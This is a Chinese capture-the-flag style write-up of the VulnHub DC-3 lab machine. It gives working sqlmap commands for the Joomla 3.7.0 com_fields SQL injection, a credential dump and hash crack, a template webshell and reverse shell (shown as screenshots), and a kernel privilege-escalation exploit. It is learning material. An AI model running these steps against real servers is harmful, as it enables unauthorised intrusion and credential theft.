DC-3靶机打靶记录

GTL-JU Lv3

DC-3靶机打靶记录

一、环境搭建

靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/

下载得到是一个ova文件

我们这里直接导入就行

image-20230908200000681

设置靶机名字和虚拟机存放位置

报错解决:

在我们启动靶机的时候可能会遇到这个报错:

1
2
3
4
IDE设备(磁盘/CD-ROM)配置不正确。"ide0:1"上具有一个IDE从设备,
但没有主设备。此配置在虚拟机中无法正常运行。
请使用配置编辑器将磁盘/CD-ROM 从"ide0:1"移到"ide0:0”。

image-20230908200247081

把这里按报错修改为0:0就行

然后就可以正常启动靶机

二、信息收集

主机发现

攻击机和靶机是在同一网段,所以我们这里可以使用arp协议来扫描存活主机

1
arp-scan -l

image-20230908200530705

可以扫描我们靶机的ip地址

或者使用nmap命令

1
nmap -sn 192.168.113.0/24

image-20230908201529638

可以得到我们靶机的ip地址为192.168.113.147

端口扫描

我们已经得到了目标靶机的ip地址,接下来就是要扫描靶机开放了那些端口

1
nmap -A -T4 -O -p 0-65535 192.168.113.147

image-20230908201709732

根据扫描结果可以看到开放了一个80端口

三、漏洞扫描挖掘与利用

访问80端口的web服务

image-20230908201925144

访问主页面告诉了我们的目标,拿下服务器root权限

首页是一个登录页面

尝试弱口令登录没有成功

也不存在sql注入

用dirserach扫描目录文件

1
dirsearch -u http://192.168.113.147/ 

image-20230908202310941

发现扫描到了管理员后台

image-20230908202351755

访问后台是一个管理员登录页面

尝试弱口令字典爆破

image-20230908202528547

弱口令爆破失败

尝试使用sqlmap尝试登录页面是否存在sql注入

image-20230908202751453

不存在sql注入

我们观察这个后台登录页面发现使用的cms是joomla

但是我们并不知道版本号

获取版本号可以用joomla的专用扫描器 joomscan扫描

安装命令:

1
apt install joomscan

使用命令:

1
joomscan -u ip

image-20230908203241480

我们这里可以得到cms的版本号

使用searchsploit去漏洞库搜索一下看有没有该版本的漏洞

1
searchsploit joomla 3.7.0

image-20230908203525617

可以看到在3.7.0的joomla中存在sql注入漏洞

把漏洞利用exp复制当前文件夹

1
searchsploit -m 42033.txt

image-20230908203717910

exp中给了sqlmap的使用命令

这里直接使用sqlmap去进行漏洞利用

1
sqlmap -u "http://192.168.113.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20230908203959594

去爆破表

1
2
sqlmap -u "http://192.168.113.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -tables

image-20230908204055600

可以看到在表中有一个users表

尝试爆表中全部数据

1
2
sqlmap -u "http://192.168.113.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]

image-20230908204418801

获取到了账号 admin,密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

通过网上百度查询知道这个密码是Blowfish加密

这里使用john进行暴力破解

image-20230908204755292

经过解密我们可以得到密码为snoopy

所以我们这里可以得到管理员的账号密码

1
admin:snoopy

尝试登录后台

成功登录后台管理页面

image-20230908205218049

在后台中我们可以修改模板页面的代码

image-20230908205307778

那我们可以尝试在模板页面中写入phpinfo看看是否可用

image-20230908205403689

访问修改的模板页面

image-20230908205554965

可以看到成功利用了

那我们这里可以在模板页面中写入反弹shell代码,从而连接上服务器

image-20230908205652193

或者直接写入一句话木马

image-20230908205710976

尝试蚁剑连接

image-20230908205735037

反弹shell

image-20230908205758952

监听端口

访问我们修改的页面

image-20230908205841726

反弹shell成功

image-20230908205857858

image-20230908205913820

可以看到我们当前是普通用户权限

查看liunx内核版本

image-20230908210019246

4.4的内核不能利用脏牛提权

尝试suid提权

查看有s权限的命令

1
find -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

image-20230908210223367

没有有s权限的命令

那就只能看看有没有root权限的命令了

image-20230908210303889

同样的也是没有

那这种情况下我们只能去通过searchsploit查找相应的liunx版本是否存在提权漏洞

那我们首先要先获取到系统的版本号和内核版本号

1
2
3
cat /etc/issue		//查看系统版本号
uname -a //查看内核版本号

image-20230908210524256

系统为 ubuntu 16.04,内核发行版本为 4.4.0-21

1
searchsploit ubuntu 16.04

image-20230908210745836

找到对应内核版本的漏洞

有三个漏洞可以利用

这里使用Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation这个漏洞来打

同样的先把exp下载到kali上

image-20230908211034760

打开可以看到exp的下载网址

image-20230908211053135

我们把exp下载下来,然后通过蚁剑传送到服务器上面

image-20230908211156826

image-20230908211221597

解压exploit压缩包进行利用

image-20230908211436246

先执行 complie.sh,然后执行 doubleput

image-20230908211653792

image-20230908211714171

这里显示已经提权成功

查看我们当前的权限

image-20230908211747289

可以看到我们已经提升到了root权限

下面获取flag就行了

image-20230908211833124

四、总结

这台靶机相对来说比较简单,更多的是学习渗透的流程和工具的使用,在这个靶机中大多数利用的漏洞都是通过searchsploit在漏洞库中进行检索利用的。

  • 标题: DC-3靶机打靶记录
  • 作者: GTL-JU
  • 创建于: 2023-09-08 21:28:46
  • 更新于: 2023-09-12 20:16:22
  • 链接: https://gtl-ju.github.io/2023/09/08/DC-3打靶记录/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。